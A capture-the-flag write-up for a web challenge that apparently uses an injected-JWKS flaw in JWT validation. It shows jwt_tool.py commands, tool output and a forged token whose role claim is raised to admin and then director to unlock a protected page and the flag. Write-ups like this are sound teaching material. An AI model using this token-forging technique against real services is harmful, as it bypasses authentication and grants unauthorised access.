Author: zerodaygym
TJCTF 2026 - paper-trail
Author: @andrew
Description
welcome to the basement; step inside and claim a badge.
Flag: tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}
Writeup
We are given a website which is a system to issue a visitor’s badge to users. Upon entering a visitor’s username we see a lot of different fields for our current user:

We can also see that there is a link to go to vault drawer, which returns 403 forbidden:

The fields displayed on the / endpoint immediately looks like JWT fields and we can confirm that by inspecting cookies. My go-to tool when I see a JWT token is jwt_tool.py which I immediately ran with the JWT:
python3 jwt_tool.py -t https://paper-trail-2a2cd6f4fd887131.tjc.tf/ -rh "Cookie: paper_badge=eyJhbGciOiJSUzI1NiIsImtpZCI6ImZyb250LWRlc2stMjAyNiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYXBlci10cmFpbC1vZmZpY2UiLCJhdWQiOiJwYXBlci10cmFpbC12aXNpdG9ycyIsInN1YiI6IjQ0NWNkODA3NWM1YzAwYWYiLCJuYW1lIjoidGVzdCIsInJvbGUiOiJ2aXNpdG9yIiwiaWF0IjoxNzc5MDE3MjExLCJuYmYiOjE3NzkwMTcyMTEsImV4cCI6MTc3OTAyMDgxMX0.S-KSCnCQ4YvnE33qBnBFkXyHMGYmkBKMtp0FZC7-UksTIGkmWDKqk0pumkpkSs4eNLkWVbw3nn-Za3VUkfpkzAUyeN3OQylnx2O8kKiRrdTGuug7BX4PXt_c26ttb_t-H8Gczso7neBxwz-Dver7EXvIJXOk3lUs3eLiNZxtBEB5fzr3OVUCCQFDi-QKk8YmPuFNy5K2n77o717comPVTTtHc1kxHPEvcMcoTa-dj8B9GyvYgg56dn9T6EbsOl9Is_7QBQCQ7LRXFGQckg0EqJjp2xTHa5w39Evm60SCI6aNDwlRWBw71fI_HCttY7DJo6ydtnENnrzqb4K5TDwuoQ" -M atAfter it finished I inspected the results and found one valid attack:
jwttool_02a9a0729f49dc0f4e99f897af9d8d30 Exploit: Injected JWKS (-X i) Response Code: 200, 1785 bytesLet’s forge a JWT token with admin privileges:
python3 jwt_tool.py 'eyJhbGciOiJSUzI1NiIsImtpZCI6ImZyb250LWRlc2stMjAyNiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYXBlci10cmFpbC1vZmZpY2UiLCJhdWQiOiJwYXBlci10cmFpbC12aXNpdG9ycyIsInN1YiI6IjlkOGM4YjkzZTA4NjM4OTYiLCJuYW1lIjoidGVzdCIsInJvbGUiOiJ2aXNpdG9yIiwiaWF0IjoxNzc5MDE3ODYxLCJuYmYiOjE3NzkwMTc4NjEsImV4cCI6MTc3OTAyMTQ2MX0.R6K3FaVBsiU-ImxZvtAKCEX3lXm6_9FufRb1JTCvvHUa_YTe1I9IwEcOzUC7Mq8z0CPYabrnr-mv2ewu3KEPilkTeZaQaXKDpIfc3EowIxurkb3drFkGQXTXSDyOE9znZX1u_Ipj3KYQr9EKRZjfNEpLip0rcSscSlNuDxSs_Iaqz7ubveOtDu0cErjCjY5mBVFWFIV4h1_HpxJvBlVL8AN71uCBzj_A5l_n7I3NQG-fHzcOhd5R962S_cIWbs9Yq9H0M-jD5LQJlfJP43ejknnlxoYS7EvTNlENFlfA145-fIZeCivM1lRtsY-NyL959TnKmySJ8mrcgF9arq5_6g' -X i -S rs256 -pr ~/.jwt_tool/jwttool_custom_private_RSA.pem -T
[...snip...]
Token header values:
[1] alg = "RS256"
[2] kid = "front-desk-2026"
[3] typ = "JWT"
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] iss = "paper-trail-office"
[2] aud = "paper-trail-visitors"
[3] sub = "9d8c8b93e0863896"
[4] name = "test"
[5] role = "visitor"
[6] iat = 1779017861 ==> TIMESTAMP = 2026-05-17 14:37:41 (UTC)
[7] nbf = 1779017861 ==> TIMESTAMP = 2026-05-17 14:37:41 (UTC)
[8] exp = 1779021461 ==> TIMESTAMP = 2026-05-17 15:37:41 (UTC)
[9] *ADD A VALUE*
[10] *DELETE A VALUE*
[11] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 5
Current value of role is: visitor
Please enter new value and hit ENTER
> admin
[1] iss = "paper-trail-office"
[2] aud = "paper-trail-visitors"
[3] sub = "9d8c8b93e0863896"
[4] name = "test"
[5] role = "admin"
[6] iat = 1779017861 ==> TIMESTAMP = 2026-05-17 14:37:41 (UTC)
[7] nbf = 1779017861 ==> TIMESTAMP = 2026-05-17 14:37:41 (UTC)
[8] exp = 1779021461 ==> TIMESTAMP = 2026-05-17 15:37:41 (UTC)
[9] *ADD A VALUE*
[10] *DELETE A VALUE*
[11] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
key: /home/zerodaygym/.jwt_tool/jwttool_custom_private_RSA.pem
jwttool_3fb53f6141f7d54c53fc2f48eaf7fa50 - EXPLOIT: injected JWKS
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJSUzI1NiIsImtpZCI6Imp3dF90b29sIiwidHlwIjoiSldUIiwiandrIjp7Imt0eSI6IlJTQSIsImtpZCI6Imp3dF90b29sIiwidXNlIjoic2lnIiwiZSI6IkFRQUIiLCJuIjoiMTZfVGIyOV9JZ3NTUU5tYVRNSWlRc0V0NjNmWFhCWDZDTGp3YTVLeVYzRjZWYnBUQ2RsdXh2Zk5vcHAyQXZkcXMxSUJ0WC10cVFuQjdsSEViQ0pqWGExV1B5NmdkYmpSRGl5MmtBZnRyb2RtcENUelkydU9HLTdqV1FQcEMySFZUUnVadzBrRW8yaHpveVYzVXZ6ZWRaNWc3OWE5ekc4bWZxYVRxd3RkdG9pa0t1eXhxQV9HblN3R0lmWmUxX2pRenNpMWZZRnJPaHJ3VGoyTGdsajJvaGRKb04zOFpIb2puSXpMTUtIekdXX3I5TDUzYVRVZ25UdjV5dlNOVC15RjNDUzdmOTlpalJVQXhMSEhBYzNXSkNBRzd0SFF5el9MRU9BUkxzaU1lMGtBVzUxTkYzaXVSXzVqQUVYUFcyQmFHaFU2VWRRWkp4V2dqZWtwTXhxTnlRIn19.eyJpc3MiOiJwYXBlci10cmFpbC1vZmZpY2UiLCJhdWQiOiJwYXBlci10cmFpbC12aXNpdG9ycyIsInN1YiI6IjlkOGM4YjkzZTA4NjM4OTYiLCJuYW1lIjoidGVzdCIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc3OTAxNzg2MSwibmJmIjoxNzc5MDE3ODYxLCJleHAiOjE3NzkwMjE0NjF9.ZmJPk5qD5okwcvIiOobWKbG_i5jD3xnJSc0pHL9sm1dY37bZGCO92C_Hd9bwAVIbWpZ8MsgIxgsdPGPgm5sZNnSdt6daWYUAdulK9_AwpdUGn76AZORa_iGqI_TPusI6_FY3QuTotdANwtB9kdVvNczhqjGxMuDCM-GaMI8Wc1H8PdsQ2ZLywM2ajfmA19ppcBfmFDL9LKLYh50YvuW25Q2Bd76N6sqHduWDhxy94DpqWV8V7rQjChzGjhSM0_EogPNZivb9tCoIAuwyMqUxCI7wr56CN8snpR4IUGseurXCJpBMiW6AsT7BB2vY3dtheDCjQ06n9BysAbRqGihK-QAfter trying it on the main page we can see that the role on the main page changed to admin:

But, unfortunately, the vault drawer still remained “locked”. After trying a lot of different roles I found that changing your role to director allowed you to access the drawer and get the flag:

The challenge wasn’t difficult, but it showcased the ease with which you can exploit JWT tokens using jwt_tool.py.